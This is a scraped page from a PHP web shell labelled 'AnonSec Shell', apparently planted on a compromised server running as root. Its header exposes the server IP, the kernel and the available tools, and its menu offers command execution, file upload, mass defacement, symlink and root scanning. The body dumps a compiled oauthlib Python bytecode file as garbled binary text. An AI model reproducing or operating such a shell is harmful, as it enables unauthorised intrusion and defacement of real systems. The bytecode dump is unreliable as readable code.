AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/__pycache__/tokens.cpython-310.pyc
o

���aY+�@s�dZddlZddlZddlZddlmZddlmZddlm	Z	ddl
mZmZddl
mZGd	d
�d
e�Z							d d
d�Zdd�Zd!dd�Zd"dd�Zd#dd�Zdd�Zdd�ZGdd�d�ZGdd�de�ZdS)$z�
oauthlib.oauth2.rfc6749.tokens
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This module contains methods for adding two types of access tokens to requests.

- Bearer https://tools.ietf.org/html/rfc6750
- MAC https://tools.ietf.org/html/draft-ietf-oauth-v2-http-mac-01
�N)�
b2a_base64)�urlparse)�common)�add_params_to_qs�add_params_to_uri�)�utilscsreZdZd�fdd�	Zedd��Zedd��Zedd	��Zed
d��Zedd
��Z	edd��Z
edd��Z�ZS)�OAuth2TokenNcstt��|�d|_d|vr|drtt�|d��|_|dur4tt�|��|_|jdur2|j|_dSdS|j|_dS)N�scope)�super�__init__�
_new_scope�setr�
scope_to_list�
_old_scope)�self�params�	old_scope��	__class__��@/usr/lib/python3/dist-packages/oauthlib/oauth2/rfc6749/tokens.pyrs
�zOAuth2Token.__init__cCs|j|jkS�N)r
r�rrrr�
scope_changed&�zOAuth2Token.scope_changedcC�t�|j�Sr)r�
list_to_scoperrrrrr*rzOAuth2Token.old_scopecC�
t|j�Sr)�listrrrrr�
old_scopes.�
zOAuth2Token.old_scopescCrr)rrr
rrrrr
2rzOAuth2Token.scopecCrr)rr
rrrr�scopes6r!zOAuth2Token.scopescC�t|j|j�Sr)rrr
rrrr�missing_scopes:�zOAuth2Token.missing_scopescCr#r)rr
rrrrr�additional_scopes>r%zOAuth2Token.additional_scopesr)
�__name__�
__module__�__qualname__r�propertyrrr r
r"r$r&�
__classcell__rrrrr	s 





r	��
hmac-sha-1cCs0|��}t�|�\}}|��dkrtj}
n|��dkrtj}
ntd��|
dkr5|p3d�t�	|	�t
���}nt
��}t
��}t
|�\}}}}}}|rP|d|}n|}|duro|
dkro|�d�}t|
|����dd	��d�}nd
}g}|
dkr}|�|�n
|�|�|�|�|�|���|�|�|�|�|�|�|
dkr�|�|�|�|p�d
�d�|�d}t|t�r�|�d�}t�||�d�|
�}t|���dd	��d�}g}|�d|�|
dkr�|�d
|�|�d|�|r�|�d|�|�r|�d|�|�d|�|�pi}d�|�|d<|S)a_Add an `MAC Access Authentication`_ signature to headers.

    Unlike OAuth 1, this HMAC signature does not require inclusion of the
    request payload/body, neither does it use a combination of client_secret
    and token_secret but rather a mac_key provided together with the access
    token.

    Currently two algorithms are supported, "hmac-sha-1" and "hmac-sha-256",
    `extension algorithms`_ are not supported.

    Example MAC Authorization header, linebreaks added for clarity

    Authorization: MAC id="h480djs93hd8",
                       nonce="1336363200:dj83hs9s",
                       mac="bhCQXTVyfj5cmA9uKkPFx1zeOXM="

    .. _`MAC Access Authentication`: https://tools.ietf.org/html/draft-ietf-oauth-v2-http-mac-01
    .. _`extension algorithms`: https://tools.ietf.org/html/draft-ietf-oauth-v2-http-mac-01#section-7.1

    :param token:
    :param uri: Request URI.
    :param key: MAC given provided by token endpoint.
    :param http_method: HTTP Request method.
    :param nonce:
    :param headers: Request headers as a dictionary.
    :param body:
    :param ext:
    :param hash_algorithm: HMAC algorithm provided by token endpoint.
    :param issue_time: Time when the MAC credentials were issued (datetime).
    :param draft: MAC authentication specification version.
    :return: headers dictionary with the authorization field added.
    r-zhmac-sha-256zunknown hash algorithmrz{}:{}�?Nzutf-8���r,�
zMAC id="%s"zts="%s"z
nonce="%s"z
bodyhash="%s"zext="%s"zmac="%s"z, �
Authorization)�upperr�
host_from_uri�lower�hashlib�sha1�sha256�
ValueError�format�generate_ager�generate_nonce�generate_timestampr�encoder�digest�decode�append�join�
isinstance�str�hmac�new)�token�uri�key�http_method�nonce�headers�body�ext�hash_algorithm�
issue_time�draft�host�port�h�ts�sch�net�path�par�query�fra�request_uri�bodyhash�base�base_string�sign�headerrrr�prepare_mac_headerCsf(�
 








racC�t|d|fg�S)aAdd a `Bearer Token`_ to the request URI.
    Not recommended, use only if client can't use authorization header or body.

    http://www.example.com/path?access_token=h480djs93hd8

    .. _`Bearer Token`: https://tools.ietf.org/html/rfc6750

    :param token:
    :param uri:
    �access_token)r)rFrGrrr�prepare_bearer_uri�srdcCs|pi}d||d<|S)z�Add a `Bearer Token`_ to the request URI.
    Recommended method of passing bearer tokens.

    Authorization: Bearer h480djs93hd8

    .. _`Bearer Token`: https://tools.ietf.org/html/rfc6750

    :param token:
    :param headers:
    z	Bearer %sr1r)rFrKrrr�prepare_bearer_headers�srecCrb)z�Add a `Bearer Token`_ to the request body.

    access_token=h480djs93hd8

    .. _`Bearer Token`: https://tools.ietf.org/html/rfc6750

    :param token:
    :param body:
    rc)r)rFrLrrr�prepare_bearer_body�s
rfFcCst��S)zp
    :param request: OAuthlib request.
    :type request: oauthlib.common.Request
    :param refresh_token:
    )r�generate_token)�request�
refresh_tokenrrr�random_token_generator�srjcs��fdd�}|S)z
    :param private_pem:
    cs�|_t��|�Sr)�claimsr�generate_signed_token)rh��kwargs�private_pemrr�signed_token_generator�sz6signed_token_generator.<locals>.signed_token_generatorr)rornrprrmrrp�srpcCsPd}d|jvr#|j�d���}t|�dkr!|d��dkr!|d}|S|j}|S)z�
    Helper function to extract a token from the request header.

    :param request: OAuthlib request.
    :type request: oauthlib.common.Request
    :return: Return the token or None if the Authorization header is malformed.
    Nr1�r�bearerr)rK�get�split�lenr4rc)rhrF�split_headerrrr�get_token_from_header�s
�rwc@s&eZdZd	dd�Zdd�Zdd�ZdS)
�	TokenBaseFcC�td��)N�&Subclasses must implement this method.��NotImplementedError)rrhrirrr�__call__szTokenBase.__call__cCry��b
        :param request: OAuthlib request.
        :type request: oauthlib.common.Request
        rzr{�rrhrrr�validate_request�zTokenBase.validate_requestcCryr~r{r�rrr�
estimate_typer�zTokenBase.estimate_typeN�F)r'r(r)r}r�r�rrrrrxs
rxc@s8eZdZdZ		ddd�Zd
dd�Zdd	�Zd
d�ZdS)�BearerToken)�request_validator�token_generator�refresh_token_generator�
expires_inNcCs*||_|pt|_|p|j|_|pd|_dS)Ni)r�rjr�r�r�)rr�r�r�r�rrrrs

�zBearerToken.__init__FcKs�d|vr
t�dt�t|j�r|�|�}n|j}||_|�|�|dd�}|jdur1d�|j�|d<|rI|jrB|j	�
|�sB|j|d<n|�|�|d<|�|j
pOi�t|�S)	z�
        Create a BearerToken, by default without refresh token.

        :param request: OAuthlib request.
        :type request: oauthlib.common.Request
        :param refresh_token:
        �
save_tokenzx`save_token` has been deprecated, it was not called internally.If you do, call `request_validator.save_token()` instead.�Bearer)rcr��
token_typeN� r
ri)�warnings�warn�DeprecationWarning�callabler�r�r"rArir��rotate_refresh_tokenr��update�extra_credentialsr	)rrhrirnr�rFrrr�create_token&s,�
�
	
�zBearerToken.create_tokencCst|�}|j�||j|�S)r)rwr��validate_bearer_tokenr")rrhrFrrrr�Ps�zBearerToken.validate_requestcCs6|j�dd��d�d��dkrdS|jdurdSdS)	rr1r,r�rrr�	N�)rKrsrtr4rcr�rrrr�Ys
 
zBearerToken.estimate_type)NNNNr�)r'r(r)�	__slots__rr�r�r�rrrrr�s
�
	*	r�)NNNr,r-Nrr)r,r�)�__doc__r5rDr��binasciir�urllib.parser�oauthlibr�oauthlib.commonrrr,r�dictr	rardrerfrjrprwrxr�rrrr�<module>s4	.
�m



	

Anon7 - 2022
AnonSec Team